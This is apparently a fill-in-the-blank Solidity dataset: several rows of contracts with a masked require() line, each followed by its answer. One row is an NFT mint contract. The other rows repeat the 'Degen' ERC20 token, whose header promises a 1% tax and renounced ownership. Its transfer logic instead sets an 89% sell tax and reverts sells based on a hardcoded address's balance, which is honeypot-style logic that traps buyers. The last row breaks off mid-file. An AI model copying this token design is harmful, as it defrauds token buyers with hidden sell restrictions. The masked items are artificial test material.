bool public paused = true;
uint256 public cost = 0.005 ether;
// Token trait layers and colors, uploaded post contract deployment
string[][6] colors;
string[][6] traits;
// Stores legendary svg and metadata
mapping(uint256 => string) internal legendarySvgs;
mapping(uint256 => string) internal legendaryNames;
mapping(uint256 => string) internal legendaryWeapons;
bool legChain = false;
uint numLegendaries = 13;
uint256[13] legendaryIds;
// Metadata layer names
string[] types = ["Background", "Face", "Eyes", "Helmet Eyes", "Sword", "Armor"];
// Hash storing unique layer string with tokenId
mapping(uint256 => string) internal tokenIdToHash;
// For checking minted per wallet
mapping(address => uint256) internal userMints;
mapping(address => uint256) internal userMintsPaid;
constructor() ERC721A('chainknights.xyz', 'CKNIGHT') {
}
/** MINTING FUNCTIONS */
function mint(address _to, uint256 _mintAmount) public payable {
require(tx.origin == _msgSender(), "Only EOA");
require(!paused, "Contract paused");
require(_mintAmount > 0);
require(<FILL_ME>)
// ADD CHECK FOR 5 PER WALLET
require(userMintsPaid[msg.sender] + _mintAmount <= maxMint, "Max mint exceeded!");
require(msg.value >= cost * _mintAmount, "Not enough ETH.");
userMintsPaid[msg.sender] += _mintAmount;
_safeMint(_to, _mintAmount);
}
function mintFree(address _to, uint256 _mintAmount) public payable {
}
/** TOKEN URI AND METADATA ON CHAIN FUNCTIONS */
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @dev Converts tokenID to JSON metadata.
* @param _tokenId The erc721 token id.
* @param legendary A boolean whether or not token is legendary.
*/
function tokenIdToMetadata(uint256 _tokenId, bool legendary)
public
view
returns (string memory)
{
}
/**
* @dev Parses 6 digit tokenID hash into svg parts
* @param _layerId The layer id 0-5.
* @param _tokenId The erc721 token id.
*/
function parseHash(uint256 _layerId, uint256 _tokenId) public view returns(uint256) {
}
/**
* @dev Generates SVG string by pulling colors from hash
* @param _tokenId The erc721 token id.
*/
function generateSVG(uint256 _tokenId) public view returns(string memory){
}
/**
* @dev Formats tokenURI, if it is a legendary id it will display legendary data.
* @param imageURI The raw base64 encoded image data.
* @param _tokenId The erc721 token id.
* @param legendary A boolean whether or not token is legendary.
*/
function formatTokenURI(string memory imageURI, uint256 _tokenId, bool legendary, uint legId) public view returns (string memory) {
}
/**
* @dev Converts svg string data to base64 encoded svg data.
* @param svg String svg data.
*/
function svgToImageURI(string memory svg) public pure returns (string memory) {
}
/** OWNER ONLY FUNCTIONS */
/**
* @dev Batch set hashes for tokens so minter does not have to pay gas
* @param data The hash data stored as string array (6 digits each).
* @param _len The length of array.
*/
function setHashes(string[] memory data, uint _len) public onlyOwner{
}
/**
* @dev Loads legendary ids with hashing function on contract deployment.
*/
function loadLegendaryIds() public onlyOwner {
}
/**
* @dev Returns all legendary ids.
*/
function getLegendaryIds() public view onlyOwner returns (uint256[13] memory) {
}
/**
* @dev Manually set legendary svgdata and metadata.
* @param svgData The raw base64 encoded svg data.
* @param name The name of the legendary.
* @param weapon The name of the legendary weapon.
* @param index The index in the legendarySvgs array.
*/
function loadLegendary(string calldata svgData, string memory name, string memory weapon, uint index) public onlyOwner {
}
/**
* @dev Loads trait data post contract deployment.
* @param index The index in the colors and traits array.
* @param color An array of colors for the layer.
* @param trait An array of names for the trait.
*/
function loadTraits(uint256 index, string[] memory color, string[] memory trait) public onlyOwner(){
}
function pause(bool _state) public onlyOwner {
}
function setLegChain(bool _state) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function withdraw() public payable onlyOwner {
}
}
| totalSupply()+_mintAmount<maxSupply,"No enought mints left." | 171,717 | totalSupply()+_mintAmount<maxSupply |
"Max mint exceeded!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DragonKnightLibrary.sol";
contract DragonKnight is Ownable, ERC721A {
uint256 public maxSupply = 1000;
uint256 public maxFreeMint = 2;
uint256 public maxMint = 5;
bool public paused = true;
uint256 public cost = 0.005 ether;
// Token trait layers and colors, uploaded post contract deployment
string[][6] colors;
string[][6] traits;
// Stores legendary svg and metadata
mapping(uint256 => string) internal legendarySvgs;
mapping(uint256 => string) internal legendaryNames;
mapping(uint256 => string) internal legendaryWeapons;
bool legChain = false;
uint numLegendaries = 13;
uint256[13] legendaryIds;
// Metadata layer names
string[] types = ["Background", "Face", "Eyes", "Helmet Eyes", "Sword", "Armor"];
// Hash storing unique layer string with tokenId
mapping(uint256 => string) internal tokenIdToHash;
// For checking minted per wallet
mapping(address => uint256) internal userMints;
mapping(address => uint256) internal userMintsPaid;
constructor() ERC721A('chainknights.xyz', 'CKNIGHT') {
}
/** MINTING FUNCTIONS */
function mint(address _to, uint256 _mintAmount) public payable {
require(tx.origin == _msgSender(), "Only EOA");
require(!paused, "Contract paused");
require(_mintAmount > 0);
require(totalSupply() + _mintAmount < maxSupply, "No enought mints left.");
// ADD CHECK FOR 5 PER WALLET
require(<FILL_ME>)
require(msg.value >= cost * _mintAmount, "Not enough ETH.");
userMintsPaid[msg.sender] += _mintAmount;
_safeMint(_to, _mintAmount);
}
function mintFree(address _to, uint256 _mintAmount) public payable {
}
/** TOKEN URI AND METADATA ON CHAIN FUNCTIONS */
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @dev Converts tokenID to JSON metadata.
* @param _tokenId The erc721 token id.
* @param legendary A boolean whether or not token is legendary.
*/
function tokenIdToMetadata(uint256 _tokenId, bool legendary)
public
view
returns (string memory)
{
}
/**
* @dev Parses 6 digit tokenID hash into svg parts
* @param _layerId The layer id 0-5.
* @param _tokenId The erc721 token id.
*/
function parseHash(uint256 _layerId, uint256 _tokenId) public view returns(uint256) {
}
/**
* @dev Generates SVG string by pulling colors from hash
* @param _tokenId The erc721 token id.
*/
function generateSVG(uint256 _tokenId) public view returns(string memory){
}
/**
* @dev Formats tokenURI, if it is a legendary id it will display legendary data.
* @param imageURI The raw base64 encoded image data.
* @param _tokenId The erc721 token id.
* @param legendary A boolean whether or not token is legendary.
*/
function formatTokenURI(string memory imageURI, uint256 _tokenId, bool legendary, uint legId) public view returns (string memory) {
}
/**
* @dev Converts svg string data to base64 encoded svg data.
* @param svg String svg data.
*/
function svgToImageURI(string memory svg) public pure returns (string memory) {
}
/** OWNER ONLY FUNCTIONS */
/**
* @dev Batch set hashes for tokens so minter does not have to pay gas
* @param data The hash data stored as string array (6 digits each).
* @param _len The length of array.
*/
function setHashes(string[] memory data, uint _len) public onlyOwner{
}
/**
* @dev Loads legendary ids with hashing function on contract deployment.
*/
function loadLegendaryIds() public onlyOwner {
}
/**
* @dev Returns all legendary ids.
*/
function getLegendaryIds() public view onlyOwner returns (uint256[13] memory) {
}
/**
* @dev Manually set legendary svgdata and metadata.
* @param svgData The raw base64 encoded svg data.
* @param name The name of the legendary.
* @param weapon The name of the legendary weapon.
* @param index The index in the legendarySvgs array.
*/
function loadLegendary(string calldata svgData, string memory name, string memory weapon, uint index) public onlyOwner {
}
/**
* @dev Loads trait data post contract deployment.
* @param index The index in the colors and traits array.
* @param color An array of colors for the layer.
* @param trait An array of names for the trait.
*/
function loadTraits(uint256 index, string[] memory color, string[] memory trait) public onlyOwner(){
}
function pause(bool _state) public onlyOwner {
}
function setLegChain(bool _state) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function withdraw() public payable onlyOwner {
}
}
| userMintsPaid[msg.sender]+_mintAmount<=maxMint,"Max mint exceeded!" | 171,717 | userMintsPaid[msg.sender]+_mintAmount<=maxMint |
"Max mint exceeded!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DragonKnightLibrary.sol";
contract DragonKnight is Ownable, ERC721A {
uint256 public maxSupply = 1000;
uint256 public maxFreeMint = 2;
uint256 public maxMint = 5;
bool public paused = true;
uint256 public cost = 0.005 ether;
// Token trait layers and colors, uploaded post contract deployment
string[][6] colors;
string[][6] traits;
// Stores legendary svg and metadata
mapping(uint256 => string) internal legendarySvgs;
mapping(uint256 => string) internal legendaryNames;
mapping(uint256 => string) internal legendaryWeapons;
bool legChain = false;
uint numLegendaries = 13;
uint256[13] legendaryIds;
// Metadata layer names
string[] types = ["Background", "Face", "Eyes", "Helmet Eyes", "Sword", "Armor"];
// Hash storing unique layer string with tokenId
mapping(uint256 => string) internal tokenIdToHash;
// For checking minted per wallet
mapping(address => uint256) internal userMints;
mapping(address => uint256) internal userMintsPaid;
constructor() ERC721A('chainknights.xyz', 'CKNIGHT') {
}
/** MINTING FUNCTIONS */
function mint(address _to, uint256 _mintAmount) public payable {
}
function mintFree(address _to, uint256 _mintAmount) public payable {
require(tx.origin == _msgSender(), "Only EOA");
require(!paused, "Contract paused");
require(_mintAmount > 0);
require(totalSupply() + _mintAmount < maxSupply, "No enought mints left.");
// ADD CHECK FOR 2 FREE PER WALLET
require(<FILL_ME>)
userMints[msg.sender] += _mintAmount;
_safeMint(_to, _mintAmount);
}
/** TOKEN URI AND METADATA ON CHAIN FUNCTIONS */
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @dev Converts tokenID to JSON metadata.
* @param _tokenId The erc721 token id.
* @param legendary A boolean whether or not token is legendary.
*/
function tokenIdToMetadata(uint256 _tokenId, bool legendary)
public
view
returns (string memory)
{
}
/**
* @dev Parses 6 digit tokenID hash into svg parts
* @param _layerId The layer id 0-5.
* @param _tokenId The erc721 token id.
*/
function parseHash(uint256 _layerId, uint256 _tokenId) public view returns(uint256) {
}
/**
* @dev Generates SVG string by pulling colors from hash
* @param _tokenId The erc721 token id.
*/
function generateSVG(uint256 _tokenId) public view returns(string memory){
}
/**
* @dev Formats tokenURI, if it is a legendary id it will display legendary data.
* @param imageURI The raw base64 encoded image data.
* @param _tokenId The erc721 token id.
* @param legendary A boolean whether or not token is legendary.
*/
function formatTokenURI(string memory imageURI, uint256 _tokenId, bool legendary, uint legId) public view returns (string memory) {
}
/**
* @dev Converts svg string data to base64 encoded svg data.
* @param svg String svg data.
*/
function svgToImageURI(string memory svg) public pure returns (string memory) {
}
/** OWNER ONLY FUNCTIONS */
/**
* @dev Batch set hashes for tokens so minter does not have to pay gas
* @param data The hash data stored as string array (6 digits each).
* @param _len The length of array.
*/
function setHashes(string[] memory data, uint _len) public onlyOwner{
}
/**
* @dev Loads legendary ids with hashing function on contract deployment.
*/
function loadLegendaryIds() public onlyOwner {
}
/**
* @dev Returns all legendary ids.
*/
function getLegendaryIds() public view onlyOwner returns (uint256[13] memory) {
}
/**
* @dev Manually set legendary svgdata and metadata.
* @param svgData The raw base64 encoded svg data.
* @param name The name of the legendary.
* @param weapon The name of the legendary weapon.
* @param index The index in the legendarySvgs array.
*/
function loadLegendary(string calldata svgData, string memory name, string memory weapon, uint index) public onlyOwner {
}
/**
* @dev Loads trait data post contract deployment.
* @param index The index in the colors and traits array.
* @param color An array of colors for the layer.
* @param trait An array of names for the trait.
*/
function loadTraits(uint256 index, string[] memory color, string[] memory trait) public onlyOwner(){
}
function pause(bool _state) public onlyOwner {
}
function setLegChain(bool _state) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function withdraw() public payable onlyOwner {
}
}
| userMints[msg.sender]+_mintAmount<=maxFreeMint,"Max mint exceeded!" | 171,717 | userMints[msg.sender]+_mintAmount<=maxFreeMint |
"Only one transfer per block allowed." | // SPDX-License-Identifier:MIT
/*
YOU KNOW WE ARE ALREADY GRINDING HERE DAY IN AND DAY
OUT AND I AM SURE YOU ARE WATCHING US. NO COMMUNITY
HAVE SAME WORK ETHICS AS US AND WE DESERVE YOUR SUPPORT.
DO IT FOR COMMUNITY
*/
/**
No Team Token
Contract Renounced
LP Locked for 3 months
No mint function
Tax 1/1
CMC and CG in 24 hours
BIG PARTNERS
Telegram: https://t.me/dogedegenerc20
**/
pragma solidity 0.8.20;
library SafeMath {
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Degen is Context, Ownable,IERC20 {
using SafeMath for uint256;
string private constant _contract_name = unicode"D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三";
string private constant _contract_symbol = unicode"D三G三";
uint8 private constant _contract_decimals = 18;
uint256 private constant _totalsupply_amount = 100_000_000 * 10**_contract_decimals;
uint256 public _maxTaxSwap = 50_000 * 10**_contract_decimals;
uint256 public _limitationMaxTaxSwap = 1_000_000 * 10**_contract_decimals;
uint256 public _maxWalletSize = 2_000_000 * 10**_contract_decimals;
uint256 public _maxTxAmount = 2_000_000 * 10**_contract_decimals;
uint256 public _taxSwapThreshold= 2_000_000 * 10**_contract_decimals;
uint256 private _reducedWhenBuyTaxs=2;
uint256 private _reducedTaxUsedInSelling=1;
uint256 private _usedInPreventingSwappingPrevious=0;
uint256 private _blockCountsUsedInBuying=0;
uint256 private _InitialeBuyTax=25;
uint256 private _InitialSellTax=25;
uint256 private _FinalizedBuyingTax=1;
uint256 private _FinalizedSellingTax=1;
uint256 private _CharityTaxUsedInSelling=89;
bool public _enableWatchDogLimitsFlag = false;
bool private _swapingInUniswapOKSigns = false;
bool private _flagUsedInUniswapIsOkSigns = false;
bool private flagForTradingIsOkOrNot;
modifier _modifierInUniswapFlag {
}
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _map_of_addressForNotPayingFee;
mapping (address => uint256) private _balances;
mapping (address => bool) private _map_of_address_notSpendFeesWhenBuying;
mapping(address => uint256) private _map_of_address_ForTimestampTransfering;
address private _uniswapPairTokenLiquidity;
address public _addressUsedInFundationFees = address(0x481C0cB2594498e10C3C56aDFc29E6004CbD685D);
address payable public _feesForDevsAddress;
IuniswapRouter private _uniswapRouterUniswapFactory;
event RemoveAllLimits(uint _maxTxAmount);
constructor () {
}
receive() external payable {}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (_enableWatchDogLimitsFlag) {
if (to != address(_uniswapRouterUniswapFactory) && to != address(_uniswapPairTokenLiquidity)) {
require(<FILL_ME>)
_map_of_address_ForTimestampTransfering[tx.origin] = block.number;
}
}
if (from == _uniswapPairTokenLiquidity && to != address(_uniswapRouterUniswapFactory) && !_map_of_addressForNotPayingFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the Amount limations.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the max limitations in single Wallet.");
if(_blockCountsUsedInBuying<_usedInPreventingSwappingPrevious){ require(!addressIsIsContractOrNot(to)); }
_blockCountsUsedInBuying++; _map_of_address_notSpendFeesWhenBuying[to]=true; taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedWhenBuyTaxs)?_FinalizedBuyingTax:_InitialeBuyTax).div(100);
}
if(to == _uniswapPairTokenLiquidity && from!= address(this) && !_map_of_addressForNotPayingFee[from] ){
taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_FinalizedSellingTax:_InitialSellTax).div(100);
if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_maxTaxSwap && balanceOf(_addressUsedInFundationFees) < _limitationMaxTaxSwap){
taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_CharityTaxUsedInSelling:_InitialSellTax).div(100);
}
if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_limitationMaxTaxSwap){
revert("Exceeds the max limitations in single Wallet.");
}
require(_blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && _map_of_address_notSpendFeesWhenBuying[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_flagUsedInUniswapIsOkSigns
&& to == _uniswapPairTokenLiquidity && _swapingInUniswapOKSigns && contractTokenBalance>_taxSwapThreshold
&& _blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && !_map_of_addressForNotPayingFee[to] && !_map_of_addressForNotPayingFee[from]
) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
_feesForDevsAddress.transfer(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]= _balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function addressIsIsContractOrNot(address _addr) private view returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){ }
function swapTokensForEth(uint256 amountFortoken) private _modifierInUniswapFlag {
}
function removeLimits() external onlyOwner{
}
function openTrading() external onlyOwner() {
}
function setSingleTxMaxUsedInSwapping(uint256 _amount) external onlyOwner() {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function name() public pure returns (string memory) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function totalSupply() public pure override returns (uint256) {
}
}
| _map_of_address_ForTimestampTransfering[tx.origin]<block.number,"Only one transfer per block allowed." | 171,779 | _map_of_address_ForTimestampTransfering[tx.origin]<block.number |
null | // SPDX-License-Identifier:MIT
/*
YOU KNOW WE ARE ALREADY GRINDING HERE DAY IN AND DAY
OUT AND I AM SURE YOU ARE WATCHING US. NO COMMUNITY
HAVE SAME WORK ETHICS AS US AND WE DESERVE YOUR SUPPORT.
DO IT FOR COMMUNITY
*/
/**
No Team Token
Contract Renounced
LP Locked for 3 months
No mint function
Tax 1/1
CMC and CG in 24 hours
BIG PARTNERS
Telegram: https://t.me/dogedegenerc20
**/
pragma solidity 0.8.20;
library SafeMath {
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Degen is Context, Ownable,IERC20 {
using SafeMath for uint256;
string private constant _contract_name = unicode"D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三";
string private constant _contract_symbol = unicode"D三G三";
uint8 private constant _contract_decimals = 18;
uint256 private constant _totalsupply_amount = 100_000_000 * 10**_contract_decimals;
uint256 public _maxTaxSwap = 50_000 * 10**_contract_decimals;
uint256 public _limitationMaxTaxSwap = 1_000_000 * 10**_contract_decimals;
uint256 public _maxWalletSize = 2_000_000 * 10**_contract_decimals;
uint256 public _maxTxAmount = 2_000_000 * 10**_contract_decimals;
uint256 public _taxSwapThreshold= 2_000_000 * 10**_contract_decimals;
uint256 private _reducedWhenBuyTaxs=2;
uint256 private _reducedTaxUsedInSelling=1;
uint256 private _usedInPreventingSwappingPrevious=0;
uint256 private _blockCountsUsedInBuying=0;
uint256 private _InitialeBuyTax=25;
uint256 private _InitialSellTax=25;
uint256 private _FinalizedBuyingTax=1;
uint256 private _FinalizedSellingTax=1;
uint256 private _CharityTaxUsedInSelling=89;
bool public _enableWatchDogLimitsFlag = false;
bool private _swapingInUniswapOKSigns = false;
bool private _flagUsedInUniswapIsOkSigns = false;
bool private flagForTradingIsOkOrNot;
modifier _modifierInUniswapFlag {
}
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _map_of_addressForNotPayingFee;
mapping (address => uint256) private _balances;
mapping (address => bool) private _map_of_address_notSpendFeesWhenBuying;
mapping(address => uint256) private _map_of_address_ForTimestampTransfering;
address private _uniswapPairTokenLiquidity;
address public _addressUsedInFundationFees = address(0x481C0cB2594498e10C3C56aDFc29E6004CbD685D);
address payable public _feesForDevsAddress;
IuniswapRouter private _uniswapRouterUniswapFactory;
event RemoveAllLimits(uint _maxTxAmount);
constructor () {
}
receive() external payable {}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (_enableWatchDogLimitsFlag) {
if (to != address(_uniswapRouterUniswapFactory) && to != address(_uniswapPairTokenLiquidity)) {
require(_map_of_address_ForTimestampTransfering[tx.origin] < block.number,"Only one transfer per block allowed.");
_map_of_address_ForTimestampTransfering[tx.origin] = block.number;
}
}
if (from == _uniswapPairTokenLiquidity && to != address(_uniswapRouterUniswapFactory) && !_map_of_addressForNotPayingFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the Amount limations.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the max limitations in single Wallet.");
if(_blockCountsUsedInBuying<_usedInPreventingSwappingPrevious){ require(<FILL_ME>) }
_blockCountsUsedInBuying++; _map_of_address_notSpendFeesWhenBuying[to]=true; taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedWhenBuyTaxs)?_FinalizedBuyingTax:_InitialeBuyTax).div(100);
}
if(to == _uniswapPairTokenLiquidity && from!= address(this) && !_map_of_addressForNotPayingFee[from] ){
taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_FinalizedSellingTax:_InitialSellTax).div(100);
if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_maxTaxSwap && balanceOf(_addressUsedInFundationFees) < _limitationMaxTaxSwap){
taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_CharityTaxUsedInSelling:_InitialSellTax).div(100);
}
if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_limitationMaxTaxSwap){
revert("Exceeds the max limitations in single Wallet.");
}
require(_blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && _map_of_address_notSpendFeesWhenBuying[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_flagUsedInUniswapIsOkSigns
&& to == _uniswapPairTokenLiquidity && _swapingInUniswapOKSigns && contractTokenBalance>_taxSwapThreshold
&& _blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && !_map_of_addressForNotPayingFee[to] && !_map_of_addressForNotPayingFee[from]
) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
_feesForDevsAddress.transfer(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]= _balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function addressIsIsContractOrNot(address _addr) private view returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){ }
function swapTokensForEth(uint256 amountFortoken) private _modifierInUniswapFlag {
}
function removeLimits() external onlyOwner{
}
function openTrading() external onlyOwner() {
}
function setSingleTxMaxUsedInSwapping(uint256 _amount) external onlyOwner() {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function name() public pure returns (string memory) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function totalSupply() public pure override returns (uint256) {
}
}
| !addressIsIsContractOrNot(to) | 171,779 | !addressIsIsContractOrNot(to) |
"trading is already open" | // SPDX-License-Identifier:MIT
/*
YOU KNOW WE ARE ALREADY GRINDING HERE DAY IN AND DAY
OUT AND I AM SURE YOU ARE WATCHING US. NO COMMUNITY
HAVE SAME WORK ETHICS AS US AND WE DESERVE YOUR SUPPORT.
DO IT FOR COMMUNITY
*/
/**
No Team Token
Contract Renounced
LP Locked for 3 months
No mint function
Tax 1/1
CMC and CG in 24 hours
BIG PARTNERS
Telegram: https://t.me/dogedegenerc20
**/
pragma solidity 0.8.20;
library SafeMath {
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Degen is Context, Ownable,IERC20 {
using SafeMath for uint256;
string private constant _contract_name = unicode"D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三D三G三三D三G三";
string private constant _contract_symbol = unicode"D三G三";
uint8 private constant _contract_decimals = 18;
uint256 private constant _totalsupply_amount = 100_000_000 * 10**_contract_decimals;
uint256 public _maxTaxSwap = 50_000 * 10**_contract_decimals;
uint256 public _limitationMaxTaxSwap = 1_000_000 * 10**_contract_decimals;
uint256 public _maxWalletSize = 2_000_000 * 10**_contract_decimals;
uint256 public _maxTxAmount = 2_000_000 * 10**_contract_decimals;
